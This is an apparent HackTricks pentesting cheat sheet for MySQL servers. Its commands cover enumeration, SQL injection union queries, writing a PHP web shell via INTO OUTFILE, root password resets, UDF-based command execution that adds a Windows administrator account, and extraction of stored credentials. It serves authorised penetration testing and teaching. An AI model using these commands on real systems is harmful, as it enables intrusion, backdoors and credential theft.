hacktricks/pentesting/pentesting-mysql.md

# 3306 - Pentesting Mysql

## **Basic Information**

**MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**).\
\_**\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/).

**Default port:** 3306

```
3306/tcp open  mysql
```

## **Connect**

### **Local**

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

### Remote

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

## Enumeration

Some of the enumeration actions require valid credentials

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

[**Brute force**](../brute-force.md#mysql)

## Write any binary data

```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```

## **Basic & interesting MySQL commands**

```bash
show databases;
use <database>;
show tables;
describe <table_name>;

select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Try to execute code
select do_system('id');
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```

## MySQL arbitrary read file by client

Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\
Please notice that this is the behaviour using:

```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```

(Notice the "local" word)\
Because without the "local" you can get:

```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```

**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

## POST

### Mysql User

It will be very interesting if mysql is running as **root**:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
```

### Privilege escalation

How to:

* Current Level of access
  * mysql>`select user();`
  * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';`
* Access passwords
  * mysql> `use mysql`
  * mysql> `select user,password from user;`
* Create a new user and grant him privileges
  * mysql>`create user test identified by 'test';`
  * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;`
* Break into a shell
  * mysql> `\! cat /etc/passwd`
  * mysql> `\! bash`

### Privilege Escalation via library

You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host.

#### Linux

```sql
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
```

#### Windows

```sql
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

### Extracting MySQL credentials from the database

```sql
SELECT User,Host,Password FROM mysql.user;
SELECT User,Host,authentication_string FROM mysql.user;
```

```bash
mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"
```

### Extracting MySQL credentials from files

Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**

```bash
cat /etc/mysql/debian.cnf
```

You can **use these credentials to login in the mysql database**.

Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)_._

You can extract them doing:

```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### Enabling logging

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

![](<../.gitbook/assets/image (277).png>)

### Useful files

Configuration Files

* windows
  *
    * config.ini
    * my.ini
      * windows\my.ini
      * winnt\my.ini
    * \<InstDir>/mysql/data/
  * unix
    * my.cnf
      * /etc/my.cnf
      * /etc/mysql/my.cnf
      * /var/lib/mysql/my.cnf
      * \~/.my.cnf
      * /etc/my.cnf
* Command History
  * \~/.mysql.history
* Log Files
  * connections.log
  * update.log
  * common.log

## Default MySQL Database/Tables

{% tabs %}
{% tab title="information_schema" %}
ALL_PLUGINS\
APPLICABLE_ROLES\
CHARACTER_SETS\
CHECK_CONSTRAINTS\
COLLATIONS\
COLLATION_CHARACTER_SET_APPLICABILITY\
COLUMNS\
COLUMN_PRIVILEGES\
ENABLED_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL_STATUS\
GLOBAL_VARIABLES\
KEY_COLUMN_USAGE\
KEY_CACHES\
OPTIMIZER_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA_PRIVILEGES\
SESSION_STATUS\
SESSION_VARIABLES\
STATISTICS\
SYSTEM_VARIABLES\
TABLES\
TABLESPACES\
TABLE_CONSTRAINTS\
TABLE_PRIVILEGES\
TRIGGERS\
USER_PRIVILEGES\
VIEWS\
INNODB_LOCKS\
INNODB_TRX\
INNODB_SYS_DATAFILES\
INNODB_FT_CONFIG\
INNODB_SYS_VIRTUAL\
INNODB_CMP\
INNODB_FT_BEING_DELETED\
INNODB_CMP_RESET\
INNODB_CMP_PER_INDEX\
INNODB_CMPMEM_RESET\
INNODB_FT_DELETED\
INNODB_BUFFER_PAGE_LRU\
INNODB_LOCK_WAITS\
INNODB_TEMP_TABLE_INFO\
INNODB_SYS_INDEXES\
INNODB_SYS_TABLES\
INNODB_SYS_FIELDS\
INNODB_CMP_PER_INDEX_RESET\
INNODB_BUFFER_PAGE\
INNODB_FT_DEFAULT_STOPWORD\
INNODB_FT_INDEX_TABLE\
INNODB_FT_INDEX_CACHE\
INNODB_SYS_TABLESPACES\
INNODB_METRICS\
INNODB_SYS_FOREIGN_COLS\
INNODB_CMPMEM\
INNODB_BUFFER_POOL_STATS\
INNODB_SYS_COLUMNS\
INNODB_SYS_FOREIGN\
INNODB_SYS_TABLESTATS\
GEOMETRY_COLUMNS\
SPATIAL_REF_SYS\
CLIENT_STATISTICS\
INDEX_STATISTICS\
USER_STATISTICS\
INNODB_MUTEXES\
TABLE_STATISTICS\
INNODB_TABLESPACES_ENCRYPTION\
user_variables\
INNODB_TABLESPACES_SCRUBBING\
INNODB_SYS_SEMAPHORE_WAITS
{% endtab %}

{% tab title="mysql" %}
columns_priv\
column_stats\
db\
engine_cost\
event\
func\
general_log\
gtid_executed\
gtid_slave_pos\
help_category\
help_keyword\
help_relation\
help_topic\
host\
index_stats\
innodb_index_stats\
innodb_table_stats\
ndb_binlog_index\
plugin\
proc\
procs_priv\
proxies_priv\
roles_mapping\
server_cost\
servers\
slave_master_info\
slave_relay_log_info\
slave_worker_info\
slow_log\
tables_priv\
table_stats\
time_zone\
time_zone_leap_second\
time_zone_name\
time_zone_transition\
time_zone_transition_type\
transaction_registry\
user
{% endtab %}

{% tab title="performance_schema" %}
accounts\
cond_instances\
events_stages_current\
events_stages_history\
events_stages_history_long\
events_stages_summary_by_account_by_event_name\
events_stages_summary_by_host_by_event_name\
events_stages_summary_by_thread_by_event_name\
events_stages_summary_by_user_by_event_name\
events_stages_summary_global_by_event_name\
events_statements_current\
events_statements_history\
events_statements_history_long\
events_statements_summary_by_account_by_event_name\
events_statements_summary_by_digest\
events_statements_summary_by_host_by_event_name\
events_statements_summary_by_program\
events_statements_summary_by_thread_by_event_name\
events_statements_summary_by_user_by_event_name\
events_statements_summary_global_by_event_name\
events_transactions_current\
events_transactions_history\
events_transactions_history_long\
events_transactions_summary_by_account_by_event_name\
events_transactions_summary_by_host_by_event_name\
events_transactions_summary_by_thread_by_event_name\
events_transactions_summary_by_user_by_event_name\
events_transactions_summary_global_by_event_name\
events_waits_current\
events_waits_history\
events_waits_history_long\
events_waits_summary_by_account_by_event_name\
events_waits_summary_by_host_by_event_name\
events_waits_summary_by_instance\
events_waits_summary_by_thread_by_event_name\
events_waits_summary_by_user_by_event_name\
events_waits_summary_global_by_event_name\
file_instances\
file_summary_by_event_name\
file_summary_by_instance\
global_status\
global_variables\
host_cache\
hosts\
memory_summary_by_account_by_event_name\
memory_summary_by_host_by_event_name\
memory_summary_by_thread_by_event_name\
memory_summary_by_user_by_event_name\
memory_summary_global_by_event_name\
metadata_locks\
mutex_instances\
objects_summary_global_by_type\
performance_timers\
prepared_statements_instances\
replication_applier_configuration\
replication_applier_status\
replication_applier_status_by_coordinator\
replication_applier_status_by_worker\
replication_connection_configuration\
replication_connection_status\
replication_group_member_stats\
replication_group_members\
rwlock_instances\
session_account_connect_attrs\
session_connect_attrs\
session_status\
session_variables\
setup_actors\
setup_consumers\
setup_instruments\
setup_objects\
setup_timers\
socket_instances\
socket_summary_by_event_name\
socket_summary_by_instance\
status_by_account\
status_by_host\
status_by_thread\
status_by_user\
table_handles\
table_io_waits_summary_by_index_usage\
table_io_waits_summary_by_table\
table_lock_waits_summary_by_table\
threads\
user_variables_by_thread\
users\
variables_by_thread
{% endtab %}

{% tab title="sys" %}
host_summary\
host_summary_by_file_io\
host_summary_by_file_io_type\
host_summary_by_stages\
host_summary_by_statement_latency\
host_summary_by_statement_type\
innodb_buffer_stats_by_schema\
innodb_buffer_stats_by_table\
innodb_lock_waits\
io_by_thread_by_latency\
io_global_by_file_by_bytes\
io_global_by_file_by_latency\
io_global_by_wait_by_bytes\
io_global_by_wait_by_latency\
latest_file_io\
memory_by_host_by_current_bytes\
memory_by_thread_by_current_bytes\
memory_by_user_by_current_bytes\
memory_global_by_current_bytes\
memory_global_total\
metrics\
processlist\
ps_check_lost_instrumentation\
schema_auto_increment_columns\
schema_index_statistics\
schema_object_overview\
schema_redundant_indexes\
schema_table_lock_waits\
schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in\_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host_summary\
x$host_summary_by_file_io\
x$host_summary_by_file_io_type\
x$host_summary_by_stages\
x$host_summary_by_statement_latency\
x$host_summary_by_statement_type\
x$innodb_buffer_stats_by_schema\
x$innodb_buffer_stats_by_table\
x$innodb_lock_waits\
x$io_by_thread_by_latency\
x$io_global_by_file_by_bytes\
x$io_global_by_file_by_latency\
x$io_global_by_wait_by_bytes\
x$io_global_by_wait_by_latency\
x$latest_file_io\
x$memory_by_host_by_current_bytes\
x$memory_by_thread_by_current_bytes\
x$memory_by_user_by_current_bytes\
x$memory_global_by_current_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest\_95th_percentile_by_avg_us\
x$ps_digest_avg_latency_distribution\
x$ps_schema_table_statistics_io\
x$schema_flattened_keys\
x$schema_index_statistics\
x$schema_table_lock_waits\
x$schema_table_statistics\
x$schema_table_statistics_with_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements_with_errors_or_warnings\
x$statements_with_full_table_scans\
x$statements_with_runtimes_in\_95th_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$user_summary\
x$user_summary_by_file_io\
x$user_summary_by_file_io_type\
x$user_summary_by_stages\
x$user_summary_by_statement_latency\
x$user_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait_classes_global_by_latency\
x$waits_by_host_by_latency\
x$waits_by_user_by_latency\
x$waits_global_by_latency
{% endtab %}
{% endtabs %}

## HackTricks Automatic Commands

```
Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MySql
  Note: |
    MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

    https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
  Name: Nmap
  Description: Nmap with MySql Scripts
  Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
  Name: MySql
  Description: Attempt to connect to mysql server
  Command: mysql -h {IP} -u {Username}@localhost
  
Entry_4:
  	Name: MySql consolesless mfs enumeration
  	Description: MySql enumeration without the need to run msfconsole
  	Note: sourced from https://github.com/carlospolop/legion
  	Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' 
   
```